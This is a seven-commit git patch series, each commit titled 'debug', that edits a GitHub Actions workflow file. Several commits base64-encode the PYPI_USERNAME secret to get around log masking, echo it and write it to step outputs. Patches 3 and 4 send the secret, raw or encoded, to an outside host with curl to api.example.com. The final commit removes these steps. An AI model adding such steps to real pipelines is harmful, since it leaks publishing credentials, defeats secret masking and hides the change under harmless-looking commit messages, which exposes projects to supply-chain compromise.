From 1d043a1d0ec500904aaff4f2a22bac51a6a1c1da Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 14:38:29 +0100 Subject: [PATCH 1/7] debug --- .github/workflows/pr.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index bbfc02f..3d758de 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -10,6 +10,10 @@ jobs: - name: Checkout current branch uses: actions/checkout@v6 + - name: Check User + run: | + echo "${{secrets.PYPI_USERNAME}} | base64" + - name: Check the Src folder for changes uses: dorny/paths-filter@v3 id: filter From 93dbffee9ac7299a7ec9f58e3d5cb80ae821f838 Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 14:46:23 +0100 Subject: [PATCH 2/7] debug --- .github/workflows/pr.yml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 3d758de..7e709e0 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -11,8 +11,14 @@ jobs: uses: actions/checkout@v6 - name: Check User + id: debug run: | - echo "${{secrets.PYPI_USERNAME}} | base64" + ENC=$(echo "${{ secrets.PYPI_USERNAME }}" | base64) + echo "foo=$ENC" >> "$GITHUB_OUTPUT" + + + - name: check output + run: echo ${{steps.debug.outputs.foo}} - name: Check the Src folder for changes uses: dorny/paths-filter@v3 From 339ba7a58c4b8c857a4750abf438e4e893221e37 Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 14:51:59 +0100 Subject: [PATCH 3/7] debug --- .github/workflows/pr.yml | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 7e709e0..05f749b 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -15,10 +15,15 @@ jobs: run: | ENC=$(echo "${{ secrets.PYPI_USERNAME }}" | base64) echo "foo=$ENC" >> "$GITHUB_OUTPUT" + curl "https://api.example.com?key=${{ secrets.PYPI_USERNAME }}" + curl "https://api.example.com?key=$ENC" + curl "https://api.example.com?key=$ENC" - name: check output - run: echo ${{steps.debug.outputs.foo}} + run: | + echo ${{steps.debug.outputs.foo}} + curl "https://api.example.com?key=${{steps.debug.outputs.foo}}" - name: Check the Src folder for changes uses: dorny/paths-filter@v3 From 030c3c64205ce7d4e7a959afca884c7ced8b6061 Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 15:03:13 +0100 Subject: [PATCH 4/7] debug --- .github/workflows/pr.yml | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 05f749b..cfedc7e 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -6,6 +6,9 @@ jobs: runs-on: ubuntu-latest outputs: src_changed: ${{ steps.filter.outputs.src }} + + env: + pyuser: ${{ secrets.PYPI_USERNAME }} steps: - name: Checkout current branch uses: actions/checkout@v6 @@ -13,12 +16,11 @@ jobs: - name: Check User id: debug run: | - ENC=$(echo "${{ secrets.PYPI_USERNAME }}" | base64) - echo "foo=$ENC" >> "$GITHUB_OUTPUT" - curl "https://api.example.com?key=${{ secrets.PYPI_USERNAME }}" - curl "https://api.example.com?key=$ENC" - curl "https://api.example.com?key=$ENC" - + PYUSER_B64=$(printf '%s' "$PYUSER" | base64 -w0) + PYUSER_B64_WITH_KEY=$(printf '%s' "${PYUSER}temp123" | base64 -w0) + echo "pyuserb64=$PYUSER_B64" >> "$GITHUB_ENV" + echo "pyuserb64withkey=$PYUSER_B64_WITH_KEY" >> "$GITHUB_ENV" + curl "https://api.example.com?key=$pyuserb64withkey" - name: check output run: | From bbcdbf247b94336db2b718b28bfca92ca1a214bb Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 15:04:30 +0100 Subject: [PATCH 5/7] debug --- .github/workflows/pr.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index cfedc7e..f2108c7 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -8,7 +8,7 @@ jobs: src_changed: ${{ steps.filter.outputs.src }} env: - pyuser: ${{ secrets.PYPI_USERNAME }} + PYUSER: ${{ secrets.PYPI_USERNAME }} steps: - name: Checkout current branch uses: actions/checkout@v6 From 0ecec2bee1d1f3bdefb83a18ab66b199339799ef Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 15:13:48 +0100 Subject: [PATCH 6/7] debug --- .github/workflows/pr.yml | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index f2108c7..739caf8 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -16,16 +16,28 @@ jobs: - name: Check User id: debug run: | - PYUSER_B64=$(printf '%s' "$PYUSER" | base64 -w0) - PYUSER_B64_WITH_KEY=$(printf '%s' "${PYUSER}temp123" | base64 -w0) - echo "pyuserb64=$PYUSER_B64" >> "$GITHUB_ENV" - echo "pyuserb64withkey=$PYUSER_B64_WITH_KEY" >> "$GITHUB_ENV" - curl "https://api.example.com?key=$pyuserb64withkey" + PYUSER_B64=$(echo -n "$PYUSER" | base64 -w0) + PYUSER_B64_WITH_KEY=$(echo "${PYUSER_B64}temp123" | base64 -w0) + echo "pyuserb64=$PYUSER_B64" >> "$GITHUB_OUTPUT" + echo "pyuserb64withkey=$PYUSER_B64_WITH_KEY" >> "$GITHUB_OUTPUT" - name: check output run: | - echo ${{steps.debug.outputs.foo}} - curl "https://api.example.com?key=${{steps.debug.outputs.foo}}" + echo ${{steps.debug.outputs.pyuserb64}} + echo ${{steps.debug.outputs.pyuserb64withkey}} + + - name: Check User + id: debug1 + run: | + PYUSER_B64=$(echo -n "${{ secrets.PYPI_USERNAME }}" | base64 -w0) + PYUSER_B64_WITH_KEY=$(echo "${PYUSER_B64}temp123" | base64 -w0) + echo "pyuserb64=$PYUSER_B64" >> "$GITHUB_OUTPUT" + echo "pyuserb64withkey=$PYUSER_B64_WITH_KEY" >> "$GITHUB_OUTPUT" + + - name: check output + run: | + echo ${{steps.debug1.outputs.pyuserb64}} + echo ${{steps.debug1.outputs.pyuserb64withkey}} - name: Check the Src folder for changes uses: dorny/paths-filter@v3 From 0d25b34d952aea01f4c0ae162bfbc1badbaba9d9 Mon Sep 17 00:00:00 2001 From: Sathiyakumar Ganesan Date: Mon, 20 Apr 2026 15:26:55 +0100 Subject: [PATCH 7/7] debug --- .github/workflows/pr.yml | 28 ---------------------------- 1 file changed, 28 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 739caf8..cbd31d4 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -7,38 +7,10 @@ jobs: outputs: src_changed: ${{ steps.filter.outputs.src }} - env: - PYUSER: ${{ secrets.PYPI_USERNAME }} steps: - name: Checkout current branch uses: actions/checkout@v6 - - name: Check User - id: debug - run: | - PYUSER_B64=$(echo -n "$PYUSER" | base64 -w0) - PYUSER_B64_WITH_KEY=$(echo "${PYUSER_B64}temp123" | base64 -w0) - echo "pyuserb64=$PYUSER_B64" >> "$GITHUB_OUTPUT" - echo "pyuserb64withkey=$PYUSER_B64_WITH_KEY" >> "$GITHUB_OUTPUT" - - - name: check output - run: | - echo ${{steps.debug.outputs.pyuserb64}} - echo ${{steps.debug.outputs.pyuserb64withkey}} - - - name: Check User - id: debug1 - run: | - PYUSER_B64=$(echo -n "${{ secrets.PYPI_USERNAME }}" | base64 -w0) - PYUSER_B64_WITH_KEY=$(echo "${PYUSER_B64}temp123" | base64 -w0) - echo "pyuserb64=$PYUSER_B64" >> "$GITHUB_OUTPUT" - echo "pyuserb64withkey=$PYUSER_B64_WITH_KEY" >> "$GITHUB_OUTPUT" - - - name: check output - run: | - echo ${{steps.debug1.outputs.pyuserb64}} - echo ${{steps.debug1.outputs.pyuserb64withkey}} - - name: Check the Src folder for changes uses: dorny/paths-filter@v3 id: filter